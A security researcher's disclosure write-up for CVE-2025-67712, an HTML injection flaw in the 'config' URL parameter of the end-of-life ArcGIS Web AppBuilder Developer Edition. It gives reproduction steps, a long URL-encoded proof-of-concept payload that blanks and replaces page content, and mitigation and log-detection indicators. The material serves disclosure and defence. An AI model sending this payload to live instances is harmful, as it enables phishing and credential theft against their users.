CVE-2025-67712
Executive Summary:
At least one public-facing deployment remained vulnerable at the time of disclosure.
Note: Since this software version has received "unsupported-when-assigned" (EOL) status, users on versions earlier than 2.30 will not receive an official patch. This write-up aims to document the vulnerability to help administrators still relying on legacy environments to implement proper mitigations.
Description:
I have discovered a HTML Injection vulnerability in the Developer Edition of ArcGIS Web AppBuilder. A remote, unauthenticated attacker can craft a malicious URL that, when clicked by a victim, causes arbitrary HTML content to be rendered in the victim's browser within the context of the trusted application domain. While the lack of JavaScript execution (XSS) limits the immediate impact, this flaw facilitates high-quality phishing and defacement attacks.
The "config" parameter (i.e.: ?config=map_configuration.json) fails to sanitize HTML tags before injecting them into the Document Object Model (DOM).
ArcGIS Web AppBuilder Developer Edition is a widely used tool for creating custom GIS applications. Since this specific edition has reached End-of-Life (EOL) status, users on versions earlier than 2.30 will not receive an official patch. This write-up aims to document the vulnerability to help administrators still relying on legacy environments to implement proper mitigations.
| The vulnerable 'config' parameter, as seen in the Esri code (see ConfigLoader.js) |
Steps to Reproduce:
1. Identify your application instance that is using ArcGIS Web AppBuilder Developer Edition (< 2.30).
2. Craft an URL with a custom HTML payload in the vulnerable parameter (the "config" parameter).
3. When the crafted URL is clicked, the HTML code injected in the 'config' parameter get's rendered by the browser.
As a result of this, a vulnerable instance can be used for phishing or social engineering attacks.
Proof-of-Concept (PoC) code samples:
A) A simple HTML injection payload that will inject HTML and overwrite existing page content:
config=%3Cstyle%3Ehtml%2Chtml%20*%7Bdisplay%3Anone%21important%3Bvisibility%3Ahidden%21important%3B%7D%3C%2Fstyle%3E%3Cdiv%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bposition%3Afixed%21important%3Btop%3A0%21important%3Bleft%3A0%21important%3Bwidth%3A100vw%21important%3Bheight%3A100vh%21important%3Bbackground%3A%23f5f5f5%21important%3Bz-index%3A2147483647%21important%3Boverflow%3Aauto%21important%3Bmargin%3A0%21important%3Bpadding%3A0%21important%3B%27%3E%3Cdiv%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bmax-width%3A800px%3Bmargin%3A50px%20auto%3Bpadding%3A20px%3B%27%3E%3Cdiv%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bbackground%3Awhite%3Bpadding%3A30px%3Bborder-radius%3A8px%3Bbox-shadow%3A0%202px%2010px%20rgba(0%2C0%2C0%2C0.1)%3B%27%3E%3Ch1%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bcolor%3Ared%3B%27%3EINJECTED%20HEADING%3C%2Fh1%3E%3Cp%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bcolor%3A%23666%3Bmargin%3A20px%200%3B%27%3EThis%20demonstrates%20complete%20page%20takeover.%20ALL%20original%20website%20content%20is%20now%20completely%20hidden%20and%20replaced%20with%20attacker-controlled%20content.%3C%2Fp%3E%3Cdiv%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bbackground%3A%23fff3cd%3Bborder-left%3A4px%20solid%20%23ffc107%3Bpadding%3A15px%3Bmargin%3A20px%200%3B%27%3E%3Cstrong%20style%3D%27display%3Ainline%21important%3Bvisibility%3Avisible%21important%3B%27%3E%E2%9A%A0%EF%B8%8F%20Critical%20Security%20Issue%3C%2Fstrong%3E%3Cbr%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3B%27%3E%3Cspan%20style%3D%27display%3Ainline%21important%3Bvisibility%3Avisible%21important%3B%27%3EAn%20attacker%20has%20full%20control%20over%20what%20users%20see.%20They%20could%20display%20any%20content%2C%20including%20phishing%20forms%2C%20malicious%20links%2C%20or%20fake%20system%20messages.%3C%2Fspan%3E%3C%2Fdiv%3E%3Ch2%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3B%27%3EWhat%20an%20attacker%20could%20do%3A%3C%2Fh2%3E%3Cul%20style%3D%27display%3Ablock%21important%3Bvisibility%3Avisible%21important%3Bline-height%3A1.8%3B%27%3E%3Cli%20style%3D%27display%3Alist-item%21important%3Bvisibility%3Avisible%21important%3B%27%3EDisplay%20convincing%20phishing%20forms%20that%20look%20legitimate%3C%2Fli%3E%3Cli%20style%3D%27display%3Alist-item%21important%3Bvisibility%3Avisible%21important%3B%27%3EShow%20fake%20security%20warnings%20to%20trick%20users%3C%2Fli%3E%3Cli%20style%3D%27display%3Alist-item%21important%3Bvisibility%3Avisible%21important%3B%27%3EReplace%20your%20entire%20website%20with%20malicious%20content%3C%2Fli%3E%3Cli%20style%3D%27display%3Alist-item%21important%3Bvisibility%3Avisible%21important%3B%27%3EHarvest%20credentials%20while%20appearing%20to%20be%20your%20site%3C%2Fli%3E%3Cli%20style%3D%27display%3Alist-item%21important%3Bvisibility%3Avisible%21important%3B%27%3EDistribute%20malware%20or%20redirect%20to%20malicious%20sites%3C%2Fli%3E%3C%2Ful%3E%3C%2Fdiv%3E%3C%2Fdiv%3E%3C%2Fdiv%3E
![]() |
| The effect of rendering the HTML on the affected version of Web App Builder. |
Mitigation:
As noted in the official CVE description, there is no evidence of JavaScript execution, which prevents classic Cross-Site Scripting (XSS) attacks like cookie theft. However, the impact remains.
Attackers can inject <iframe> or <form> tags to mimic login prompts and steal credentials. Users are more likely to trust the malicious content because the browser's address bar shows a legitimate, trusted domain.
Since the product is retired and unsupported, the following steps are recommended, based on official ESRI recommendation "Customers are encouraged to migrate from ArcGIS Web AppBuilder at their
earliest convenience to ArcGIS Experience Builder, the recommended
migration path" [1].
If migration to a newer version if not possible for you, identify all configurations that you have (e.g.: config1.json, config2.json, config3.json etc) and make sure they're the only ones allowed on WAF. Anything that has something such as "?config=%3Cstyle%3E" in the request should be blocked.
Use the following Nginx / Apache+ModSecurity rules for a simple hot-fix.
Monitoring and Detection
To identify potential exploitation attempts, administrators should inspect web server access logs and WAF telemetry for requests containing the config parameter paired with HTML-specific characters or tags.
Generic Indicators of Compromise (IoC):
- Unexpected GET requests with config= parameter.
- URL-encoded characters: %3C (<), %3E (>), %22 ("), %27 (').
- Inclusion of unusual strings such as script, alert, or onerror within the parameter value.
Sample Log Analysis Command (Linux/Unix):
Disclosure Timeline
| 2025-11-29 | Vulnerability discovered and reported. |
| 2025-12-05 | Vulnerability validated; CVE-2025-67712 assigned. |
| 2025-12-19 | CVE published by ESRI CNA. |
| 2026-01-07 | Technical write-up published. |
Thanks to ESRI/ArcGis and CERT.PL for quick, professional responses and communication.
🔗 References & Additional Resources
-
•
Official Support: ArcGIS Web AppBuilder Retirement Notice & Roadmap
- •
-
•
Security Best Practices: OWASP ModSecurity Core Rule Set (CRS)

Comments